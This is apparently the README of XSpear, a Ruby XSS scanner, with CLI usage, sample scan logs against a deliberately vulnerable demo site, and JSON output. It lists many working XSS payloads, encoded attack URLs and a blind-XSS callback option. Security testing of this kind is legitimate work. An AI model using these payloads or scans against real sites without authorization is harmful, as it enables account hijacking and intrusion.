XSpear

XSpear is XSS Scanner on ruby gems

Key features

  • Pattern matching based XSS scanning
  • Detect alert confirm prompt event on headless browser (with Selenium)
  • Testing request/response for XSS protection bypass and reflected params
    • Reflected Params
    • Filtered test event handler HTML tag Special Char Useful code
  • Testing Blind XSS (with XSS Hunter , ezXSS, HBXSS, Etc all url base blind test…)
  • Dynamic/Static Analysis
    • Find SQL Error pattern
    • Analysis Security headers(CSP HSTS X-frame-options, XSS-protection etc.. )
    • Analysis Other headers..(Server version, Content-Type, etc…)
  • Scanning from Raw file(Burp suite, ZAP Request)
  • XSpear running on ruby code(with Gem library)
  • Show table base cli-report and filtered rule, testing raw query(url)
  • Testing at selected parameters
  • Support output format cli json
    • cli: summary, filtered rule(params), Raw Query
  • Support Verbose level (quit / nomal / raw data)
  • Support custom callback code to any test various attack vectors

Installation

Install it yourself as:

$ gem install XSpear

Or install it yourself as (local file):

$ gem install XSpear-{version}.gem

Add this line to your application’s Gemfile:

gem 'XSpear'

And then execute:

$ bundle

Dependency gems

colorize selenium-webdriver terminal-table
If you configured it to install automatically in the Gem library, but it behaves abnormally, install it with the following command.

$ gem install colorize
$ gem install selenium-webdriver
$ gem install terminal-table

Usage on cli

Usage: xspear -u [target] -[options] [value]
[ e.g ]
$ xspear -u 'https://www.hahwul.com/?q=123' --cookie='role=admin'

[ Options ]
    -u, --url=target_URL             [required] Target Url
    -d, --data=POST Body             [optional] POST Method Body data
        --headers=HEADERS            [optional] Add HTTP Headers
        --cookie=COOKIE              [optional] Add Cookie
        --raw=FILENAME               [optional] Load raw file(e.g raw_sample.txt)
    -p, --param=PARAM                [optional] Test paramters
    -b, --BLIND=URL                  [optional] Add vector of Blind XSS
                                      + with XSS Hunter, ezXSS, HBXSS, etc...
                                      + e.g : -b https://hahwul.xss.ht
    -t, --threads=NUMBER             [optional] thread , default: 10
    -o, --output=FILENAME            [optional] Save JSON Result
    -v, --verbose=1~3                [optional] Show log depth
                                      + Default value: 2
                                      + v=1 : quite mode
                                      + v=2 : show scanning log
                                      + v=3 : show detail log(req/res)
    -h, --help                       Prints this help
        --version                    Show XSpear version
        --update                     Show how to update

Result types

  • (I)NFO: Get information ( e.g sql error , filterd rule, reflected params, etc..)
  • (V)UNL: Vulnerable XSS, Checked alert/prompt/confirm with Selenium
  • (L)OW: Low level issue
  • (M)EDIUM: medium level issue
  • (H)IGH: high level issue

Case by Case

Scanning XSS

$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -d "searchFor=yy"

json output(with silence mode)

$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -d "searchFor=yy" -o json -v 1

detail log

$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -d "searchFor=yy" -v 3

set thread

$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -t 30

testing at selected parameters

$ xspear -u "http://testphp.vulnweb.com/search.php?test=query&cat=123&ppl=1fhhahwul" -p cat,test

testing blind xss
(Should be used as much as possible because Blind XSS is everywhere)

$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -b "https://hahwul.xss.ht"

# Set your blind xss host. <-b options>

etc…

Sample log

Scanning XSS

xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=z"
    )  (
 ( /(  )\ )
 )\())(()/(          (     )  (
((_)\  /(_))`  )    ))\ ( /(  )(
__((_)(_))  /(/(   /((_))(_))(()\
\ \/ // __|((_)_\ (_)) ((_)_  ((_)
 >  < \__ \| '_ \)/ -_)/ _` || '_|
/_/\_\|___/| .__/ \___|\__,_||_|    />
           |_|                   \ /<
{\\\\\\\\\\\\\BYHAHWUL\\\\\\\\\\\(0):::<======================-
                                 / \<
                                    \>       [ v1.1.5 ]
[*] analysis request..
[-] [23:50:35] [200/OK] 'zfdfasdf' not reflected rEfe6
[-] [23:50:35] [200/OK] 'cat' not reflected <script>alert(45)</script>
[I] [23:50:35] [200/OK] [param: cat][Found SQL Error Pattern]
[-] [23:50:35] [200/OK] 'zfdfasdf' not reflected <script>alert(45)</script>
[-] [23:50:35] [200/OK] 'STATIC' not reflected
[I] [23:50:35] [200/OK] reflected rEfe6[param: cat][reflected parameter]
[*] creating a test query [for reflected 2 param + blind xss ]
[*] test query generation is complete. [192 query]
[*] starting XSS Scanning. [10 threads]
..snip..
[I] [23:50:47] [200/OK] reflected xsp<frameset>
[I] [23:50:47] [200/OK] reflected xsp<applet>
[I] [23:50:48] [200/OK] reflected document.cookie.xspear
[I] [23:50:48] [200/OK] reflected document.location.xspear
[-] [23:50:48] [200/OK] 'cat' not reflected <svg/onload=alert(45)>
[H] [23:50:50] [200/OK] reflected <keygen autofocus onfocus=alert(45)>[param: cat][reflected onfocus XSS Code]
[-] [23:50:55] [200/OK] 'cat' not found alert/prompt/confirm event <xmp><p title="</xmp><svg/onload=alert(45)>">
[V] [23:50:56] [200/OK] found alert/prompt/confirm (45) in selenium!! <script>alert(45)</script>[param: cat][triggered <script>alert(45)</script>]
[H] [23:50:56] [200/OK] found alert/prompt/confirm (45) in selenium!! <marquee onstart=alert(45)>[param: cat][triggered <marquee onstart=alert(45)>]
[H] [23:50:57] [200/OK] found alert/prompt/confirm (45) in selenium!! <details/open/ontoggle="alert(45)">[param: cat][triggered <details/open/ontoggle="alert(45)">]
[H] [23:50:58] [200/OK] found alert/prompt/confirm (45) in selenium!! <audio src onloadstart=alert(45)>[param: cat][triggered <audio src onloadstart=alert(45)>]
[-] [23:50:59] [200/OK] 'cat' not found alert/prompt/confirm event '"><svg/onload=alert(45)>
[-] [23:50:59] [200/OK] 'cat' not found alert/prompt/confirm event <svg(0x0c)onload=alert(1)>
[V] [23:51:00] [200/OK] found alert/prompt/confirm (45) in selenium!! '"><svg/onload=alert(45)>[param: cat][triggered <svg/onload=alert(45)>]
...snip..
[*] finish scan. the report is being generated..
+----+-------+------------------+--------+-------+----------------------------------------+-----------------------------------------------+
|                                                            [ XSpear report ]                                                            |
|                              http://testphp.vulnweb.com/listproducts.php?cat=123&zfdfasdf=124fff... (snip)                              |
|                                 2019-08-14 23:50:34 +0900 ~ 2019-08-14 23:51:07 +0900 Found 24 issues.                                  |
+----+-------+------------------+--------+-------+----------------------------------------+-----------------------------------------------+
| NO | TYPE  | ISSUE            | METHOD | PARAM | PAYLOAD                                | DESCRIPTION                                   |
+----+-------+------------------+--------+-------+----------------------------------------+-----------------------------------------------+
| 0  | INFO  | STATIC ANALYSIS  | GET    | -     | <original query>                       | Found Server: nginx/1.4.1                     |
| 1  | INFO  | STATIC ANALYSIS  | GET    | -     | <original query>                       | Not set HSTS                                  |
| 2  | INFO  | STATIC ANALYSIS  | GET    | -     | <original query>                       | Content-Type: text/html                       |
| 3  | LOW   | STATIC ANALYSIS  | GET    | -     | <original query>                       | Not Set X-Frame-Options                       |
| 4  | MIDUM | STATIC ANALYSIS  | GET    | -     | <original query>                       | Not Set CSP                                   |
| 5  | INFO  | DYNAMIC ANALYSIS | GET    | cat   | XsPeaR"                                | Found SQL Error Pattern                       |
| 6  | INFO  | REFLECTED        | GET    | cat   | rEfe6                                  | reflected parameter                           |
| 7  | INFO  | FILERD RULE      | GET    | cat   | onhwul=64                              | not filtered event handler on{any} pattern    |
| 8  | HIGH  | XSS              | GET    | cat   | <script>alert(45)</script>             | reflected XSS Code                            |
| 9  | HIGH  | XSS              | GET    | cat   | <marquee onstart=alert(45)>            | reflected HTML5 XSS Code                      |
| 10 | HIGH  | XSS              | GET    | cat   | <details/open/ontoggle="alert`45`">    | reflected HTML5 XSS Code                      |
| 11 | HIGH  | XSS              | GET    | cat   | <select autofocus onfocus=alert(45)>   | reflected onfocus XSS Code                    |
| 12 | HIGH  | XSS              | GET    | cat   | <input autofocus onfocus=alert(45)>    | reflected onfocus XSS Code                    |
| 13 | HIGH  | XSS              | GET    | cat   | <textarea autofocus onfocus=alert(45)> | reflected onfocus XSS Code                    |
| 14 | HIGH  | XSS              | GET    | cat   | <audio src onloadstart=alert(45)>      | reflected HTML5 XSS Code                      |
| 15 | HIGH  | XSS              | GET    | cat   | <meter onmouseover=alert(45)>0</meter> | reflected HTML5 XSS Code                      |
| 16 | HIGH  | XSS              | GET    | cat   | "><iframe/src=JavaScriPt:alert(45)>    | reflected XSS Code                            |
| 17 | HIGH  | XSS              | GET    | cat   | <video/poster/onerror=alert(45)>       | reflected HTML5 XSS Code                      |
| 18 | HIGH  | XSS              | GET    | cat   | <keygen autofocus onfocus=alert(45)>   | reflected onfocus XSS Code                    |
| 19 | VULN  | XSS              | GET    | cat   | <script>alert(45)</script>             | triggered <script>alert(45)</script>          |
| 20 | HIGH  | XSS              | GET    | cat   | <marquee onstart=alert(45)>            | triggered <marquee onstart=alert(45)>         |
| 21 | HIGH  | XSS              | GET    | cat   | <details/open/ontoggle="alert(45)">    | triggered <details/open/ontoggle="alert(45)"> |
| 22 | HIGH  | XSS              | GET    | cat   | <audio src onloadstart=alert(45)>      | triggered <audio src onloadstart=alert(45)>   |
| 23 | VULN  | XSS              | GET    | cat   | '"><svg/onload=alert(45)>              | triggered <svg/onload=alert(45)>              |
+----+-------+------------------+--------+-------+----------------------------------------+-----------------------------------------------+
< Available Objects >
[cat] param
 + Available Special Char: ` ( \ ' { ) } [ : $ ]
 + Available Event Handler: "onBeforeEditFocus","onAbort","onActivate","onAfterUpdate","onBeforeCopy","onAfterPrint","onBeforeActivate","onBeforeCut","onBeforeDeactivate","onChange","onBeforePrint","onBounce","onBeforeUnload","onCellChange","onBeforePaste","onClick","onBegin","onBlur","onBeforeUpdate","onDataSetChanged","onCut","onDblClick","onCopy","onContextMenu","onDataSetComplete","onDeactivate","onDataAvailable","onControlSelect","onDrag","onDrop","onDragEnd","onEnd","onDragLeave","onDragStart","onDragOver","onDragEnter","onDragDrop","onError","onErrorUpdate","onFinish","onFilterChange","onKeyPress","onHelp","onFocus","onInput","onHashChange","onKeyDown","onFocusIn","onFocusOut","onMessage","onMouseDown","onLoad","onLayoutComplete","onMouseEnter","onLoseCapture","onloadstart","onMediaError","onKeyUp","onMediaComplete","onMouseOver","onMouseWheel","onMove","onMouseMove","onMouseOut","onOffline","onMoveStart","onMouseLeave","onMouseUp","onMoveEnd","onPropertyChange","onOnline","onPause","onPaste","onReadyStateChange","onRedo","onProgress","onPopState","onOutOfSync","onRepeat","onResume","onRowExit","onReset","onResizeEnd","onRowsEnter","onResizeStart","onReverse","onRowDelete","onRowInserted","onResize","onStop","onSeek","onSelect","onSubmit","onStorage","onStart","onScroll","onSelectionChange","onSyncRestored","onSelectStart","onUnload","ontouchstart","onbeforescriptexecute","onTimeError","onURLFlip","ontouchmove","ontouchend","onTrackChange","onUndo","onafterscriptexecute","onpointermove","onpointerleave","onpointerup","onpointerover","onpointerdown","onpointerenter","onloadstart","onloadend","onpointerout"
 + Available HTML Tag: "script","img","embed","video","audio","meta","style","frame","iframe","svg","object","frameset","applet"
 + Available Useful Code: "document.cookie","document.location","window.location"

< Raw Query >
[0] http://testphp.vulnweb.com/listproducts.php?-
..snip..
[19] http://testphp.vulnweb.com/listproducts.php?cat=123%22%3E%3Cscript%3Ealert(45)%3C/script%3E&zfdfasdf=124fffff
[20] http://testphp.vulnweb.com/listproducts.php?cat=123%22'%3E%3Cmarquee%20onstart=alert(45)%3E&zfdfasdf=124fffff
[21] http://testphp.vulnweb.com/listproducts.php?cat=123%22'%3E%3Cdetails/open/ontoggle=%22alert(45)%22%3E&zfdfasdf=124fffff
[22] http://testphp.vulnweb.com/listproducts.php?cat=123%22'%3E%3Caudio%20src%20onloadstart=alert(45)%3E&zfdfasdf=124fffff
[23] http://testphp.vulnweb.com/listproducts.php?cat=123'%22%3E%3Csvg/onload=alert(45)%3E&zfdfasdf=124fffff

...snip...

to JSON

$ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123&zfdfasdf=124fffff" -v 1 -o json
{"starttime":"2019-08-14 23:58:12 +0900","endtime":"2019-08-14 23:58:44 +0900","issue_count":24,"issue_list":[{"id":0,"type":"INFO","issue":"STATIC ANALYSIS","method":"GET","param":"-","payload":"<original query>","description":"Found Server: nginx/1.4.1"},{"id":1,"type":"INFO","issue":"STATIC ANALYSIS","method":"GET","param":"-","payload":"<original query>","description":"Not set HSTS"},{"id":2,"type":"INFO","issue":"STATIC ANALYSIS","method":"GET","param":"-","payload":"<original query>","description":"Content-Type: text/html"},{"id":3,"type":"LOW","issue":"STATIC ANALYSIS","method":"GET","param":"-","payload":"<original query>","description":"Not Set X-Frame-Options"},{"id":4,"type":"MIDUM","issue":"STATIC ANALYSIS","method":"GET","param":"-","payload":"<original query>","description":"Not Set CSP"},{"id":5,"type":"INFO","issue":"DYNAMIC ANALYSIS","method":"GET","param":"cat","payload":"XsPeaR\"","description":"Found SQL Error Pattern"},{"id":6,"type":"INFO","issue":"REFLECTED","method":"GET","param":"cat","payload":"rEfe6","description":"reflected parameter"},{"id":7,"type":"INFO","issue":"FILERD RULE","method":"GET","param":"cat","payload":"onhwul=64","description":"not filtered event handler on{any} pattern"},{"id":8,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<script>alert(45)</script>","description":"reflected XSS Code"},{"id":9,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<textarea autofocus onfocus=alert(45)>","description":"reflected onfocus XSS Code"},{"id":10,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<video/poster/onerror=alert(45)>","description":"reflected HTML5 XSS Code"},{"id":11,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<audio src onloadstart=alert(45)>","description":"reflected HTML5 XSS Code"},{"id":12,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<details/open/ontoggle=\"alert`45`\">","description":"reflected HTML5 XSS Code"},{"id":13,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<select autofocus onfocus=alert(45)>","description":"reflected onfocus XSS Code"},{"id":14,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<marquee onstart=alert(45)>","description":"reflected HTML5 XSS Code"},{"id":15,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<input autofocus onfocus=alert(45)>","description":"reflected onfocus XSS Code"},{"id":16,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"\"><iframe/src=JavaScriPt:alert(45)>","description":"reflected XSS Code"},{"id":17,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<meter onmouseover=alert(45)>0</meter>","description":"reflected HTML5 XSS Code"},{"id":18,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<keygen autofocus onfocus=alert(45)>","description":"reflected onfocus XSS Code"},{"id":19,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<audio src onloadstart=alert(45)>","description":"triggered <audio src onloadstart=alert(45)>"},{"id":20,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<marquee onstart=alert(45)>","description":"triggered <marquee onstart=alert(45)>"},{"id":21,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<details/open/ontoggle=\"alert(45)\">","description":"triggered <details/open/ontoggle=\"alert(45)\">"},{"id":22,"type":"VULN","issue":"XSS","method":"GET","param":"cat","payload":"<script>alert(45)</script>","description":"triggered <script>alert(45)</script>"},{"id":23,"type":"VULN","issue":"XSS","method":"GET","param":"cat","payload":"'\"><svg/onload=alert(45)>","description":"triggered <svg/onload=alert(45)>"}]}

Usage on ruby code (gem library)

require 'XSPear'

# Set options
options = {}
options['thread'] = 30
options['cookie'] = "data=123"
options['blind'] = "https://hahwul.xss.ht"
options['output'] = json

# Create XSpear object with url, options
s = XspearScan.new "https://www.hahwul.com?target_url", options

# Scanning
s.run
result = s.report.to_json
r = JSON.parse result

Add Scanning Module

1) Add makeQueryPattern

makeQueryPattern('type', 'query,', 'pattern', 'category', "description", "callback funcion")
# type: f(ilterd?) r(eflected?) x(ss?)
# category i(nfo) v(uln) l(ow) m(edium) h(igh)

# e.g
# makeQueryPattern('f', 'XsPeaR,', 'XsPeaR,', 'i', "not filtered "+",".blue, CallbackStringMatch)

2) if other callback, write callback class override ScanCallbackFunc e.g

  class CallbackStringMatch < ScanCallbackFunc
    def run
      if @response.body.include? @query
        [true, "reflected #{@query}"]
      else
        [false, "not reflected #{@query}"]
      end
    end
  end

Parent class(ScanCallbackFunc)

class ScanCallbackFunc()
    def initialize(url, method, query, response)
      @url = url
      @method = method
      @query = query
      @response = response
      # self.run
    end

    def run
      # override
    end
end

Common Callback Class

  • CallbackXSSSelenium
  • CallbackErrorPatternMatch
  • CallbackCheckHeaders
  • CallbackStringMatch
  • CallbackNotAdded
  • etc…

Update

if nomal user

$ gem update XSpear

if developers (soft)

$ git pull -v

if develpers (hard)

$ git reset --hard HEAD; git pull -v

Development

After checking out the repo, run bin/setup to install dependencies. Then, run rake spec to run the tests. You can also run bin/console for an interactive prompt that will allow you to experiment.

To install this gem onto your local machine, run bundle exec rake install. To release a new version, update the version number in version.rb, and then run bundle exec rake release, which will create a git tag for the version, push git commits and tags, and push the .gem file to rubygems.org.

Contributing

Bug reports and pull requests are welcome on GitHub at https://github.com/hahwul/XSpear. This project is intended to be a safe, welcoming space for collaboration, and contributors are expected to adhere to the Contributor Covenant code of conduct.

License

The gem is available as open source under the terms of the MIT License.

Code of Conduct

Everyone interacting in the XSpear project’s codebases, issue trackers, chat rooms and mailing lists is expected to follow the code of conduct.

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